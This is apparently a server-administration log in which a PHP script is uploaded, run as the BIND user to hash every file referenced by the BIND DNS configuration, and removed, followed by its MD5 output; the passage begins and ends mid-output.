MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:46:50: Establishing a connection
2026-04-30 14:46:50: 

PUT: /tmp/pkp944271

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:46:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp944271; rm /tmp/pkp944271'

2026-04-30 14:46:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:46:53: Establishing a connection
2026-04-30 14:46:53: 

PUT: /tmp/pkp405572

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:46:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp405572; rm /tmp/pkp405572'

2026-04-30 14:46:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
